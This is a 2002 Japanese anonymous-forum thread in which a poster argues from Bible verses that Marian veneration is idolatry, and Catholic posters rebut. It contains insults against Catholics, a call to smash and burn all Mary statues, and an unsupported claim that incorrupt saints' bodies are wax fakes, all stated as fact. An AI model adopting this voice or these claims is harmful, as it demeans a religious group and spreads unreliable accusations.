◆マリヤ崇敬が間違いである証拠◆ 冒頭必読
>>1-70 @マリヤ崇敬は、神に背く偶像礼拝です。出エジプト記20章4節
A偶像礼拝をすると悪霊と交わる事になります。第1コリント10章20節
B人は、ただキリスト・イエスを信じる信仰によって義と認められ救われるのであり、マリヤ崇敬によって救われるものではありません。ガラテヤ2章16節
C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり、マリヤは仲介者では有り得ません。第1テモテ2章5節
Dイエスは霊においては父なる神と等しく、肉においては人と同じです。主イエスが人として生まれたのはマリヤからですが、神と同質の神の御子として生まれたのは造られたすべてのものより先であり、マリヤは神の母では有り得ません。コロサイ1章15節
E聖書のどこにも(外典にさえ)「マリヤ崇敬をせよ」とは書かれていません。黙示録22章18節
Fカトリック教徒が聖伝と呼ぶものは、正典に匹敵するものではなく、信仰基準とは成り得ません。内容が正典に反するものなど論外です。マルコ7章8節
以上のように、マリヤ崇敬が間違いである事は確実であり、反論の余地は全くなく、一見、反論のような書き込みがあっても、それは全て詭弁に過ぎません。又、いくら詭弁を並べても、荒らしても、マリヤ崇敬が間違いであるという事実は変動しません。
カトリック教徒が掲示板上で、傍観者を名乗ってプロテスタント批判をしたり、プロテスタントを名乗って同様の妨害をする場合が以前ありました。惑わされないようにしてください。
エキュメニカルに関して
カトリックの教義には、多くの迷信が含まれています。彼等とは団結するべきではありません。
必読事項を直後に書き込む予定です。その後は、カトリック教徒が出鱈目な事を多量に書き込むと予想されます。惑わされないで下さい。
ルルド、ファチマ、落涙等の奇跡に関しては、おおよそ次のようなものです。
>>1-70
◆奇跡に関して◆ ルルドでは一人、ファチマでは三人の子供が、マリヤを見たと主張しただけです。その中には、後に、修道院に入った者もいますが、当時は四人とも無学で、小学校にも行っていません。 ルルドでマリヤを見たという修道女の遺体が百年以上、腐敗していないというのは、ウソです。腐敗(若しくはミイラ化、又は、白骨化)した遺体にロウを被せて、腐敗していないと主張しているだけです。 ルルドの水を飲むと病気が治ると言いますが、町興しのために大袈裟な宣伝をしているように思われます。教会も、いくらか伝道になると思って黙認、助長しているようです。 人を惑わす為に、悪霊が実際に病人を治す場合も稀には有るでしょう。 しかし、悪霊に健康状態を悪くされたり、病気と思い込まされている人が、ルルドの水を飲んだり浴びたりした際、悪霊が、その人から手を引いて、奇跡的な治癒に見せかけている場合が多いのではないでしょうか。 ルルドの水を飲んでも浴びても、殆どの場合、何も起こらない事は言うまでも有りません。 ルルドの洞窟に置かれている多数の松葉杖の殆どは、足に怪我をした人が病院で手当てを受け、完治し、不要になった松葉杖を、置いて行ったものであり、奇跡とは無関係です。 1917年5月から10月に、ポルトガルのファチマにマリヤが現れたというのは、子供の作り話、又は、子供が悪霊によって幻覚を見た事に端を発する騒動です。 ファチマでマリヤを見たという少女の遺体が腐敗していないというのも、ルルドの修道女の遺体と同様、ロウ細工による奇跡の捏造です。 10月13日に起こったという太陽の奇跡に関しては、悪天候時に急に太陽が出たので、奇跡を期待して集まっていた人たちが太陽の方を見て、眩しさのあまり錯覚を起してしまったものです。 しかし、何万もの人が同時に同じ錯覚を起したとは思えません。一部の人が錯覚を起し、パニック状態になり、他の人もつられて大騒ぎになり、何か大変な事が起っているような雰囲気になってしまったのだと思われます。悪霊の影響もあったでしょう。 第一次大戦中で精神的に不安定な人たちが、奇跡を期待して何万人も集まっていたのですから、そのような事があっても不思議ではありません。新聞も、売り上げを伸ばす為に大袈裟に書き立てた筈です。
稀に、マリヤの像が涙を流したという報道があります。しかし、仏像等が涙を流したと報じられる事もあり、それと同様、悪霊による怪奇現象です。 CBSドキュメントによると、簡単な細工をするだけで像から落涙させる事も出来るそうです。 ★マリヤ崇敬は聖書に反する行為です。それに伴う奇跡は、癒しを含めて、悪霊による怪奇現象と、人と悪霊による演出です。 日本のカトリック幹部は、秋田市で起こったマリヤ像からの落涙等の現象に否定的です。 彼らも、マリヤ崇敬が聖書に反する間違った行為である事を知っており「マリヤ崇敬に伴い奇跡が起こった」という情報があっても、虚偽、又は、悪魔的なものと考えているからです。間違いと知っているならば、やめるよう指導するべきです。 ◆カトリック教徒の心理状態◆ 意地になって反発するカトリック教徒の心理状態は、次のようなものであると、私は考えます。 1、彼らは遅くとも、何度か忠告を受けた段階で、間違いに気付いています。 2、マリヤ崇敬の罪を犯す事をやめたり、マリヤ崇敬をやめるべきだと主張して批難される事を恐れ、マリヤ崇敬の罪を犯し続けている。 3、「マリヤ崇敬を正しい行為と信じ込んでいる事を装い、悪いと知らずに罪を犯しているように振る舞っていれば、不可抗力と見做されるのではないだろうか」と考えている。 4、「正しいと信じ込んでいる事を装うには、この罪を平然と犯し、正当な行為だと主張していくべきだ」と考えている。(注意:正しいと信じている事と、正しいと信じている事を装う事は正反対です) 5、「誰かが、自分の愚かな言動とその害を見兼ねて、間違いが容易にまかり通ってしまう世の中を何とかするだろう」と、愚かな期待をしている。 ※カトリック教徒の態度の故に、主に反感を持つ必要はありません。主は、彼らの愚かな態度を、彼らに、彼ら自身の愚かさ知らしめるために用いられるのでしょう。
◆協力者の皆様へ◆ カトリック教徒がまともな書き込みをする事は殆どありません。マリヤ崇敬は確実に間違いであり、まともな反論など有るわけがないのです。 スレッドの冒頭の部分が存在し、時々上がる程度でも、十分にカトリック教徒への忠告になります。時々、上げてくださるよう御願い致します。 書き込む場合には、どちらを支持しているのか、わかるようにして下さい。敵か味方か、わからない者が戦場をうろついていたら、どうなるか考えて下さい。 プロテスタントが忠告しなかったら、誰が忠告するのでしょう。 他のサイトで引用したり、プリントして配布しても構いません。 ★福音派にカトリック教徒が移ってきた際、生じる問題について。 マリヤ崇敬をしてきた元カトリック教徒は、それが是か非かという事を悩んでいる筈です。 その事に関して、牧師に質問するでしょうか?おそらく出来ないと思います。他の事ならばともかく、マリヤ崇敬の事など質問出来る雰囲気ではないのです。 仮に質問をした場合、マリヤ崇敬が聖書に反している事くらいならば、牧師は答える事が出来るでしょう。 しかし、それだけで元カトリック教徒が納得するとは思えません。奇跡の問題があるからです。マリヤ崇敬に伴う奇跡の事で質問されて、答えられる牧師は少ないのではないでしょうか? それに関しては述べてあるので参考になさって下さい。 又、プロテスタント教会に移って来たばかりの元カトリック教徒が、牧師にマリヤ崇敬に関する質問をせずにいても「マリヤ崇敬は悪」という認識を持っているとは限りません。家に帰ればマリヤ崇敬をしている可能性があります。
ここで忠告を受けたカトリック教徒に言っておきます。 マリヤ崇敬をしても救われません。イエスを救い主と信じ、心の中に受け入れて下さい。 マリヤ崇敬が間違いである事は明らかです。しかも、あなたは、それを知っています。カトリック内部でマリヤ崇敬に反対する運動を起すか、速やかにカトリックを離れ、福音的な教会へ移って下さい。 これまでに、私以外の者が「俺」と名乗って書き込みをする場合が時々ありました。単純な荒らしの他、部分的に混乱を招くような要素を含む、巧妙な荒らしなどがありました。 混乱を避ける為に、次のレス以降では「俺」とか「1」とは名乗らずに書き込むつもりです。 重要な事は以上です。次以降は、出鱈目な事が多量に書き込まれると予想されます。惑わされないで下さい。 ■■■■■■■■■■■■■■■■■■■■■■■■■■
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10 :
名無しさん@1周年 :02/11/18 04:18
11 :
名無しさん@1周年 :02/11/18 04:25
12 :
名無しさん@1周年 :02/11/18 04:26
「私が教皇でなかったなら、巡礼者とともに働きを助けるために、メジュ ゴリエに行っていたでしょう」(トマセク枢機卿へ) 「メジュゴリエはファチマの実現であり、継続です」(1984年3月) 「メジュゴリエに巡礼して告解するのはよいことです」(1989年3月14日、 アメリカのシルベスター・トレイニン司教へ) 「メジュゴリエで何も起きていないというのは、祈りに満ちた無数の生き 証人を否定すること」(マイケル・D・プファイファー司教へ) 「メジュゴリエは霊性の一大センターです!」(教皇ヨハネ・パウロ二世、 1990年2月24日)
13 :
名無しさん@1周年 :02/11/18 04:26
14 :
名無しさん@1周年 :02/11/18 04:26
メジュゴリエの真相(EWTN)
http://www.ewtn.com/library/MARY/DECORMIR.HTM November 1996 issue of "Inside the Vatican."
バチカンは決断していない。カトリック司教は意見が分かれている。批判
者は、民衆の信心が操作されていると警告する。それでも、最初に出現が
報じられて15年後の今も、周辺地域を破壊した激しいボスニア戦争にも
めげず、巡礼者はメジュゴリエに来続けている。彼らは神の母マリアが
メジュゴリエに現れていると信じている。
不可知論者の懐疑主義、キリスト教徒の疑い、教会のかなりの否認声明に
もかかわらず、巡礼者は、6人の若いメジュゴリエの幻視者(今はみな結
婚して子供もいる)が、15年間毎日聖母を見、その言葉を聞いた場所を
探し続けている。
15 :
カルト対策遠征軍 :02/11/18 06:20
メジュゴリエ狂信派のカテゴリー 1、カリスマ運動の行動派部隊 奇跡にやたらと偏向した信仰不安定な方々。 本人達は、「信仰心」から、「宣教」と銘打った重複投稿を繰り返しているようだが、対話の 意志の感じ難いその一方的な言動からは、彼らの不安定な精神状態が伺える。 背後に忍ぶ独占欲、自己顕示欲が、かえって反感を煽って、肝心の「宣教」は逆効果となっている模様だ。 そもそも、反論の余地を頭ごなしに否定した権威論法や脅迫に裏打ちされた信仰の押し付け は「宣教」と別種のもの。これでは「折伏」である。 2、聖シャーベル修道会所属のなりすましカトリック達 幻視を強調することで、カトスレの風向きをLPに近付けようとしている。 保守派、中道派が一掃されて、カトスレがメジュゴリエ一色になった暁には、いよいよ仮 面を棄てて本性を現すだろう。 かつての青眼の例を挙げるまでも無く彼らに対しては用心が必要である。 3、ミミ萩原の信者達 2ちゃんを利用して、ミミ達のカルト予言をカトリックに広めるためには 幻視に対して、冷静で客観的なカトスレの既成ムードを壊す必要がある。 したがって彼らにも、上述の二勢力に便乗して、メジュゴリエを広めだがる動機がある。 4、俺さんに代表される過激プロテスタント諸派 狂信的な一部のプロテスタントにとって、カトリック信者の横の結束は非常に目障りなはずである。 今のカトリックのやや安定した体制を突き崩すためには、正面から教理問答を仕掛ける他にも内側から、カトリックの 同士討ちを煽る方が効率的であり、彼らにも、メジュゴリエ賛同派を装って過激な投稿をしたがる動機がある。 上述3勢力程ではないが、その執拗さは無視できない。
16 :
名無しさん@1周年 :02/11/19 04:45
マリヤ崇敬自体が間違いである。 従って、メジュゴリエも、ルルドも、ファチマも 秋田も大間違いのコンコンチキである。
17 :
名無しさん@1周年 :02/11/19 04:45
18 :
名無しさん@1周年 :02/11/19 04:48
19 :
名無しさん@1周年 :02/11/19 05:58
20 :
名無しさん@1周年 :02/11/19 07:30
聖書が証拠
マリヤ蔵をはかい焼却しても、マリアさまは焼却できねーよ。バカ
22 :
名無しさん@1周年 :02/11/19 16:52
>>21 偶像破壊は偶像礼拝をさせなくするためだと思うが。
23 :
名無しさん@1周年 :02/11/19 19:16
\ 俺と言えば? /ナンダココハ コワイモナー ヒイィィィッ \ ∧_∧ ∩クソだろ! / ∧_∧ ∧_∧ ∧_∧ マリヤ崇敬は偶像礼拝 ( ・∀・)ノ______ / ( ;・∀・) (; ´Д`) (´Д`; ) だってよ ∧ ∧\ (入 ⌒\つ /|. / ⊂ ⊂ ) ( つ ⊂ ) ( ⊃ ⊃ (゚Д゚ )_\ ヾヽ /\⌒)/ |/ 〉 〉\\ 〉 〉 く く //( ( / ̄ ̄∪ ∪ /| .\ || ⌒| ̄ ̄ ̄| / (__) (_) (_.)(_) (_) (__) /∧_∧またですか・・・\ ∧∧∧∧ / 『俺』 / (;´∀` )_/ \ < 俺 ま > 自作自演でカト批判スレを立てる || ̄( つ ||/ \< ス > コピペによる荒らしで批判し、 || (_○___) || < レ た > カト批判スレ乱立し、皆に迷惑かけてる。 ――――――――――――――― .< >――――――――――――――――――――― ∧_∧ 俺さん < か > ∧_∧プッ ∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ( ;´∀`)逮捕されてる… ∨∨∨ \ ( ´∀`) (´∀` )< 俺 さ ん 必 死 だ な (藁 _____(つ_ と)___ ./ \ ( )__( ) \_______ . / \ ___ \アヒャ / ∧_∧俺 \∧_∧ ∧_∧  ̄ ̄ ̄/.//| .<\※ \____.|i\___ヽ.アヒャ ./γ(⌒)・∀・ )さ \ ;> < ;> / ┃| | ヽ\ ※ ※ ※|i i|.====B|i.ヽ /(YYて)ノ ノ ん \↑ ̄ ̄↑\)_/ |__|/ \`ー──-.|\.|___|__◎_|_.i‐>/ \  ̄ ̄ ̄ ̄\め \俺氏 | | ┃  ̄ ̄ ̄ ̄|. | ̄ ̄ ̄ ̄| / ||ヽ|| ̄ ̄ ̄ ̄|| ! ! \ .|_)
24 :
名無しさん@1周年 :02/11/19 19:18
満満揉揉我喜♪ 老若男女一心揚踊♪ (σ) (σ) (σ) / 人\ . / 人\ . ./ 人\ . / / \\ / / \\ / / ・ \\ ( ( ・∀・) ) ( ( ・∀・) ) ( ( ・ ・ ) ) \ \ // \ \ // \ \O // ヽ Y (⌒). ヽ Y (⌒). ヽ Y (⌒). .(((__)⌒ ̄ .(((__)⌒ ̄ .(((__)⌒ ̄ 満満揉揉皆平和 満満揉揉我快心♪
25 :
名無しさん@1周年 :02/11/20 23:52
お絵かきするとマリヤが神の母に変身するのか?
26 :
名無しさん@1周年 :02/11/21 01:17
>>23-24 下らないことする時間があったら
聖書を少しは読みやがれ!
27 :
名無しさん@1周年 :02/11/21 01:19
\ 俺と言えば? /ナンダココハ コワイモナー ヒイィィィッ \ ∧_∧ ∩クソだろ! / ∧_∧ ∧_∧ ∧_∧ マリヤ崇敬は偶像礼拝 ( ・∀・)ノ______ / ( ;・∀・) (; ´Д`) (´Д`; ) だってよ ∧ ∧\ (入 ⌒\つ /|. / ⊂ ⊂ ) ( つ ⊂ ) ( ⊃ ⊃ (゚Д゚ )_\ ヾヽ /\⌒)/ |/ 〉 〉\\ 〉 〉 く く //( ( / ̄ ̄∪ ∪ /| .\ || ⌒| ̄ ̄ ̄| / (__) (_) (_.)(_) (_) (__) /∧_∧またですか・・・\ ∧∧∧∧ / 『俺』 / (;´∀` )_/ \ < 俺 ま > 自作自演でカト批判スレを立てる || ̄( つ ||/ \< ス > コピペによる荒らしで批判し、 || (_○___) || < レ た > カト批判スレ乱立し、皆に迷惑かけてる。 ――――――――――――――― .< >――――――――――――――――――――― ∧_∧ 俺さん < か > ∧_∧プッ ∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ( ;´∀`)逮捕されてる… ∨∨∨ \ ( ´∀`) (´∀` )< 俺 さ ん 必 死 だ な (藁 _____(つ_ と)___ ./ \ ( )__( ) \_______ . / \ ___ \アヒャ / ∧_∧俺 \∧_∧ ∧_∧  ̄ ̄ ̄/.//| .<\※ \____.|i\___ヽ.アヒャ ./γ(⌒)・∀・ )さ \ ;> < ;> / ┃| | ヽ\ ※ ※ ※|i i|.====B|i.ヽ /(YYて)ノ ノ ん \↑ ̄ ̄↑\)_/ |__|/ \`ー──-.|\.|___|__◎_|_.i‐>/ \  ̄ ̄ ̄ ̄\め \俺氏 | | ┃  ̄ ̄ ̄ ̄|. | ̄ ̄ ̄ ̄| / ||ヽ|| ̄ ̄ ̄ ̄|| ! ! \ .|_)
28 :
名無しさん@1周年 :02/11/21 01:20
>>27 もっと荒らしてみろ!
マリヤが神の母に変身するぞ!藁
29 :
名無しさん@1周年 :02/11/21 01:22
____
Y/ニニ|>o<|\
/ //\___\
|/ / === |  ̄
| / ・ ・ |
\(6 (_λ_)\  ̄ ̄ ̄ ̄ ̄ ̄
/ _ ||||||| _| どんな馬鹿でも わかるのだ
|(( \□ ̄□/| |
>>1 を読むのだ
\  ̄ ̄ ̄ ノ \______
/ ̄ ̄\ / ̄ ̄ ̄ ̄ ̄|了
/ |: | ̄ ̄ ̄ ̄
| |______|
| | | | | | | |
30 :
名無しさん@1周年 :02/11/21 01:35
だって全部暇つぶしでやってるんだもーん。 別にいいじゃん!
31 :
名無しさん@1周年 :02/11/21 19:54
>>30 馬鹿者!
そんな琴を書き込むと
マリヤが神の母に
変身するのか?
32 :
名無しさん@1周年 :02/11/21 20:41
冒頭を読んで悔い改めやがれ! 大馬鹿屋労!
33 :
名無しさん@1周年 :02/11/21 21:09
阪神大震災は、バブルに乗って神を忘れたことへの警鐘で善いことと言うメジュ支持者は危険です。 ここは真っ当なカトリックの方は書込をご遠慮下さい。 このスレはメジュゴリエ凶信者専用スレです。 正統で純粋な信仰をお持ちの方は書込をご遠慮下さい。 Samson ◆I3tGz4xJ9E はメジュ支持者ではないようですが、 実にメジュ支持者は危険な人物達です。 メジュ支持者は自分たちに都合の悪い人間は全て「サタン」なのです。 そして、メジュがカトリックの信仰の全てであるかのような幻想を抱く人々です。 その正体はカトリック教会の分裂を目論む、反カトリック派なのです。 この様な考え方、精神構造はオウムとなんら変わりありません。 メジュゴリエ凶信者が2ちゃんねるカトリックスレッドを乗っ取ろうと 企てています。皆様、その様な事態に陥らないようご協力願います。 メジュゴリエ支持者はLP同様の思考回路を持ち、既にカトリックですら 無いのです。彼らにカトリックとしての権利など一切無いのは明白です。
35 :
名無しさん@1周年 :02/11/22 01:12
マリヤ崇敬は間違い 従って、秋田もメジュも間違い
36 :
名無しさん@1周年 :02/11/22 01:22
結局マリヤ崇敬なんかやってるからメジュなんとかに騙されるんだ。 馬鹿だなあ。カトリックは。
37 :
名無しさん@1周年 :02/11/22 01:29
本当にカトリックは馬鹿だ
38 :
名無しさん@1周年 :02/11/22 01:52
39 :
名無しさん@1周年 :02/11/22 02:06
40 :
名無しさん@1周年 :02/11/22 02:09
俺さんはついに「像」だけを問題にし始めたね。最初は、聖母崇敬を批判してたのに、批判できなくなったことを、自ら露呈したね。
41 :
名無しさん@1周年 :02/11/22 02:10
42 :
名無しさん@1周年 :02/11/22 02:12
43 :
名無しさん@1周年 :02/11/22 02:12
マリヤ像をはかい焼却しても、 マリアさまは焼却できません。 出直して来い!
44 :
名無しさん@1周年 :02/11/22 02:14
マリヤ像は悪霊の巣窟 だからそれを破壊する。
45 :
名無しさん@1周年 :02/11/22 02:14
>>42 俺さん。カトリックで崇敬しているのは、像ではなくて、マリア様。分かるよね?だから、俺さんが、何100体、マリヤ像を焼却しても,意味ないってこと。分かるよね?W
46 :
名無しさん@1周年 :02/11/22 02:15
47 :
名無しさん@1周年 :02/11/22 02:16
マリアを信じます。聖人です。今も天国におられます。 聖人は復活したひと。復活者は天使のようですとイエズスはいわれました。 天使は出現できます。聖人が出現してもおかしくありません。
48 :
名無しさん@1周年 :02/11/22 02:18
>>38 聖母信心とは何度も書かれているように、
聖母の生き方と人徳を真似ること。それに尽きるのです。
反論しても無意味です。
「メジュゴリエの子供たち」はまさしくその精神に生きています。
49 :
名無しさん@1周年 :02/11/22 02:19
>>45 偶像を造ることも、拝むことも聖書は厳禁している。
それをすると神に背く。
どんな馬鹿でも分かることだが、おまえには分からんのか?
おまえは分からないのではなく、分からない振りをしているのだ。
その心理状態もすでに冒頭で分析済み。
50 :
名無しさん@1周年 :02/11/22 02:21
スレタイα〓〓〓全てのマリヤ像を粉砕焼却せよ〓〓〓ω ??? ???????? なんじゃこれは????? 全てのマリヤ像を粉砕焼却しても、 イエス様のお母様は粉砕焼却できんだろうに。ワラ
51 :
名無しさん@1周年 :02/11/22 02:22
>>49 読んだよ。俺さんが誤解していることしか分かりませんでした。
52 :
名無しさん@1周年 :02/11/22 02:23
>>48 詭弁を言うな。
お前らはマリヤの偶像を拝んで
偶像礼拝の罪を犯している。
>>47 黙示録22章全部読んでみろ。
53 :
名無しさん@1周年 :02/11/22 02:25
>>50 おまえが読んで悔い改めなくても、おまえが馬鹿を見るだけだ。
私に損失はない。
54 :
名無しさん@1周年 :02/11/22 02:26
>>49 >偶像を造ることも、拝むことも聖書は厳禁している。
偶像??マリア様は人間が造った物ではないよ。
神様がお造りになった活ける聖人だよ。
そんなことも知らないの?馬鹿ジャン。
だから、偶像ではないよ。偶像を崇敬しているのでもないよ。
出直して来い!
>それをすると神に背く。
背いてるのは嘘吐きのおまえじゃ。ワラ
55 :
名無しさん@1周年 :02/11/22 02:26
>>48 マリヤ崇敬自体が悪魔的である。
従って、メジュもファチマも悪魔的なものである。
56 :
名無しさん@1周年 :02/11/22 02:27
57 :
名無しさん@1周年 :02/11/22 02:29
>>55 違うって。マリアさまは神様のお造りになった最高の聖人。敬って当然です。俺さんも敬ってね。
58 :
名無しさん@1周年 :02/11/22 02:29
>>54 >偶像??マリア様は人間が造った物ではないよ。
馬鹿言うな!
マリヤ像は人間が造ったもの。
無原罪説
被昇天説
永世処女説
も人間がマリヤ崇敬を正当化するために考えた詭弁。
59 :
名無しさん@1周年 :02/11/22 02:31
>>58 解らないヤシだな。俺らが崇敬しているのは「像」ではなく、
天国の生きている聖人だっていってるだろう。
出直して来い!
60 :
名無しさん@1周年 :02/11/22 02:31
61 :
名無しさん@1周年 :02/11/22 02:32
>>55 聖母はイエスに導くのであって、聖母に導くのではないよ。
聖母はイエスあっての聖母だからね。
聖母のお役は色々あるけど、特に、非クリスチャンをキリストに導くことに
あるんだよ。
そうでなくて、何で、キリスト教?
62 :
名無しさん@1周年 :02/11/22 02:32
63 :
名無しさん@1周年 :02/11/22 02:34
聖像崇敬とは、聖像を拝むことではなく、敬うことです。 聖書で神以外の被造物に拝むことは禁じていますが、 敬ったり尊ぶことは禁じていません。 従って、聖像崇敬は偶像礼拝にはなりません。
64 :
名無しさん@1周年 :02/11/22 02:34
>>1 俺さん金縛りにあったそうだけどさ。 金縛りと聖人のエクスタシーを同列に置いちゃ駄目だよ。 だから、厨房って言われちゃうのさ。 俺さん、一緒に秋田に巡礼にいかない? きっと回心するよ。金縛りをする悪魔じゃなくて、 本物の聖母に会いに行こうよ。連絡先教えてよ。電話するから。
65 :
名無しさん@1周年 :02/11/22 02:34
>>61 人が義と認められ救われるのは、
ただキリスト・イエスを信じる信仰による。
マリヤが介入するところはない。
66 :
名無しさん@1周年 :02/11/22 02:34
67 :
名無しさん@1周年 :02/11/22 02:36
>>65 だから、マリアの仲介とキリストの仲介は区別しています。
68 :
名無しさん@1周年 :02/11/22 02:38
>>63 それは悪魔の罠。
完全に偶像礼拝。
>>64 秋田弁よりフランス語が得意なんだが。
>>66 違うぞ。
>拝んでいるのではなくて、敬ってるの
と称して拝んでいる。
69 :
名無しさん@1周年 :02/11/22 02:38
>>65 1テモテ 2:1 そこで、まず第一に勧めます。願いと祈りと執り成しと感謝とをすべての人々のためにささげなさい
執り成しが、私たちにできてマリア様にできないはずがありません。
70 :
名無しさん@1周年 :02/11/22 02:39
>>62 俺に馬鹿と言ったところで、聖母マリアが悪霊になるわけではない。出直して来い!
71 :
名無しさん@1周年 :02/11/22 02:39
>>67 C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり、マリヤは仲介者では有り得ません。第1テモテ2章5節
72 :
名無しさん@1周年 :02/11/22 02:40
>>62 マリア像は写真を立体化したようなものだよ。
写真を崇拝する人がいないように、
像を崇拝するひとはいないよ。これで分かったかい?
73 :
名無しさん@1周年 :02/11/22 02:40
>>68 >それは悪魔の罠。
>完全に偶像礼拝。
それは、悪魔に憑かれたあなたのこじつけ。
>違うぞ。
>>拝んでいるのではなくて、敬ってるの
>と称して拝んでいる。
拝んでないって。
74 :
名無しさん@1周年 :02/11/22 02:41
>>70 おまえがマリヤを拝んでるつもりでも、偶像礼拝は悪霊を拝むことである。
悪霊を拝み、悪霊と交わっているのだ。
>>69 マリヤは仲介者でないと言っただろう。
75 :
名無しさん@1周年 :02/11/22 02:42
76 :
名無しさん@1周年 :02/11/22 02:42
>>71 >C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり、マリヤは仲介者では有り得ません。第1テモテ2章5節
だからね。キリストの仲介とは、新しい契約の仲介。
モーセだって旧い契約の仲介者でしょ。
77 :
名無しさん@1周年 :02/11/22 02:43
>>74 だから、マリアは人とイエスとの仲介者さ。
78 :
名無しさん@1周年 :02/11/22 02:45
>>74 >おまえがマリヤを拝んでるつもりでも、
拝んでないって。敬ってるの。
>偶像礼拝は悪霊を拝むことである。
>悪霊を拝み、悪霊と交わっているのだ。
マリア=悪霊って言いたいんでしょ。
>マリヤは仲介者でないと言っただろう。
だから、キリストの仲介ではないと言ってるじゃない。
79 :
名無しさん@1周年 :02/11/22 02:46
80 :
名無しさん@1周年 :02/11/22 02:46
>>俺さん 聖母マリア様はイシスではないよ。 イシスは月神だが、聖母は月を足の下にふんずけておられる (ヨハネ黙示録12c参照)から、 いわば、イシスの大地母神をふんずけていることになるわけさ。 これで違いが分かるでしょう。聖書の調べ方が足りないね。
81 :
名無しさん@1周年 :02/11/22 02:47
>>72 >写真を崇拝する人がいないように、
いるだろ!何考えてんだ?
82 :
名無しさん@1周年 :02/11/22 02:48
>>74 >おまえがマリヤを拝んでるつもりでも、
>偶像礼拝は悪霊を拝むことである。
>悪霊を拝み、悪霊と交わっているのだ。
君らの聖書にも、クリスチャンのことを「聖徒」と訳しているではないか。
マリア様は最初のクリスチャンであり、「聖徒」である。
ということは、聖なる母である。ということは聖母である。
わかったかね?
83 :
名無しさん@1周年 :02/11/22 02:49
>>78 マリヤはマリヤ
悪霊は悪霊
偶像は偶像
偶像礼拝は悪霊礼拝
84 :
名無しさん@1周年 :02/11/22 02:49
85 :
名無しさん@1周年 :02/11/22 02:51
>>83 分かったようだね。だから、マリアは悪霊ではないのだ。
86 :
名無しさん@1周年 :02/11/22 02:51
>>79 >安心しろ
>>俺さんは人のために祈ったことないの?
>と書き込んでも
やはり、
>>75 の指摘は図星だったのですね。
愛に乏しい俺さんのために祈ってあげましょう。
87 :
名無しさん@1周年 :02/11/22 02:53
>>76 それでマリヤがどうして仲介者になる?
ふざけんな!
>>77 おまえの主張は完全に聖書に反している。
>>80 調べ方が足りないのはオマエだ。
別にいいけど、おまえのような、どっかの馬の骨が
偶像拝んだって、こっちに直接害はないから。
88 :
名無しさん@1周年 :02/11/22 02:56
>>87 >それでマリヤがどうして仲介者になる?
>ふざけんな!
だから、マリアは新しい契約の仲介者とは認めてるわけではありません。
キリストの仲介とは区別しています。モーセも仲介者と呼びますが、キリストの仲介とは区別してるでしょ。
89 :
名無しさん@1周年 :02/11/22 02:56
>>85 マリヤが悪霊でなくても
マリヤ崇敬は悪霊礼拝
>>84 主の御前でそのような詭弁が通用すると思うのか?
>>86 おまえが何を祈ろうとマリヤは神の母には
変身しねえよ。
90 :
名無しさん@1周年 :02/11/22 02:58
91 :
名無しさん@1周年 :02/11/22 02:59
>>88 C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり、マリヤは仲介者では有り得ません。第1テモテ2章5節
にも関わらずマリヤが仲介者だというなら、おまえは木が狂ってる。
92 :
名無しさん@1周年 :02/11/22 03:00
>>俺さん プロでも、代祷と言って、人のために祈りを取り次ぐではないか。 聖人はみな、地上の信徒のために、祈ってくれているのだよ。 聖母はその中の最高のお方なのだよ。ロザリオはそれへの感謝と、 聖母をたたえ、祈りの取次ぎをお願いするものなのさ。 分かったかい?
93 :
名無しさん@1周年 :02/11/22 03:00
>>90 そんなこと、ここで議論したら。
アドバイスを装って話を誤魔化すと
マリヤが神の母になるのか?
94 :
名無しさん@1周年 :02/11/22 03:02
>>92 まったく、そのとおリです。俺さんが支離滅裂です。
95 :
名無しさん@1周年 :02/11/22 03:02
>>92 生きている人間に祈りを依頼することはあるが、
死人にそんなことを依頼したら、イタコの世界だ。
96 :
名無しさん@1周年 :02/11/22 03:02
97 :
名無しさん@1周年 :02/11/22 03:04
>聖母をたたえ、祈りの取次ぎを 神のみがたたえられるべき。
98 :
名無しさん@1周年 :02/11/22 03:06
99 :
名無しさん@1周年 :02/11/22 03:07
>>91 >C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり、
そういう理由でマリアを仲介者と呼べないのなら、
モーセは仲介者ではないのですか?
100 :
名無しさん@1周年 :02/11/22 03:08
>>95 死人?聖人は死人ではないよ。
福音書で、なんといわれているかね?
「死は勝利にのまれた」、「復活した者は天使のようです」。
であるから、聖人は死人ではない。
復活して、今や、天使のように新生した活ける霊なのだよ。分かるね?
だから、死人にお伺いを立てるイタコではないのだよ。分かるね?
101 :
名無しさん@1周年 :02/11/22 03:09
ロザリオは、聖母に感謝するお祈りです。俺さんもするといいよ。
102 :
名無しさん@1周年 :02/11/22 03:09
>>95 >生きている人間に祈りを依頼することはあるが、
>死人にそんなことを依頼したら、イタコの世界だ。
聖人の執り成しに、シャーマンは扱いません。
103 :
名無しさん@1周年 :02/11/22 03:11
104 :
名無しさん@1周年 :02/11/22 03:11
105 :
名無しさん@1周年 :02/11/22 03:12
>>103 復活しているよ。新約聖書に書かれているよ。
106 :
名無しさん@1周年 :02/11/22 03:13
>>102 イタコにマリヤの霊を呼び出してもらって来いよ。
多分マリヤと自称する悪霊が来るぞ。
107 :
名無しさん@1周年 :02/11/22 03:13
108 :
名無しさん@1周年 :02/11/22 03:14
109 :
名無しさん@1周年 :02/11/22 03:15
>>107 偶像に供え物を捧げなくても
祈りを捧げたら同じことだ。
110 :
名無しさん@1周年 :02/11/22 03:17
>>105 第一の復活は携挙の直前。
第二の復活は最後の審判の直前。」
111 :
名無しさん@1周年 :02/11/22 03:17
>>103 >モーセに天使祝詞を唱えるのか?オマエは?
天使祝詞はマリア様への祈り。
主の祈りは御父に捧げるものでしょ。御子に向かって「天にましますわれらの父よ」
なんて言うと、サベリオス異端になります。
>まだ復活してねえだろう。
しました。
112 :
名無しさん@1周年 :02/11/22 03:18
>>109 >偶像に供え物を捧げなくても
>祈りを捧げたら同じことだ。
霊的な対象に意思を伝えることを、祈りと言っているだけ。
113 :
名無しさん@1周年 :02/11/22 03:19
>>111 イエスは復活したが、マリヤはまだ復活していない。
マリヤに祈れなんて聖書に書いてあるか?
何考えてんだ!
114 :
名無しさん@1周年 :02/11/22 03:21
>>106 >イタコにマリヤの霊を呼び出してもらって来いよ。
>多分マリヤと自称する悪霊が来るぞ。
イタコにキリストの霊を呼び出してもらっても、
キリストと自称する悪霊が来ます。
